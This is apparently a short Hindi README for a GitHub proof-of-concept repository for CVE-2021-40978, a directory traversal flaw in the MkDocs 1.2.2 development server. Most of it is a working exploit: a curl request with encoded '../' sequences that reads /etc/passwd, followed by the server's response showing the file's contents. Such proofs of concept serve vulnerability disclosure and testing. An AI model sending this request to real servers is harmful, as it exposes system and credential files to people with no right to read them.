nisdn/cve-2021-40978MkDocs 1.2.2 अंतर्निहित dev-server में निर्देशिका ट्रैवर्सल के लिए प्रूफ-ऑफ-कॉन्सेप्ट, एन्कोडेड पथ ट्रैवर्सल के माध्यम से मनमानी फ़ाइल पढ़ने में सक्षम। curl और Nuclei टेम्पलेट उदाहरण शामिल हैं।
mkdocs अंतर्निहित डेव-सर्वर डायरेक्टरी ट्रैवर्सल शोषण
Mkdocs 1.2.2 बिल्ट-इन डेव-सर्वर के माध्यम से डायरेक्टरी ट्रैवर्सल की अनुमति देता है, जो पोर्ट 8000 पर प्रतिक्रिया करता है। नीचे सफलतापूर्वक शोषित पथों के कुछ उदाहरण दिए गए हैं:
इस तकनीक का उपयोग करके रूट डायरेक्टरी के बाहर की फ़ाइलें प्राप्त करना संभव है, जिससे कोई भी व्यक्ति मनमानी फ़ाइलों को पढ़ और डाउनलोड कर सकता है।
curl http://0.0.0.0:8000/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd -i
HTTP/1.0 200 OK
Date: Mon, 04 Oct 2021 02:13:38 GMT
Server: WSGIServer/0.2 CPython/3.7.3
Content-Type: application/octet-stream
Content-Length: 2187
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync...
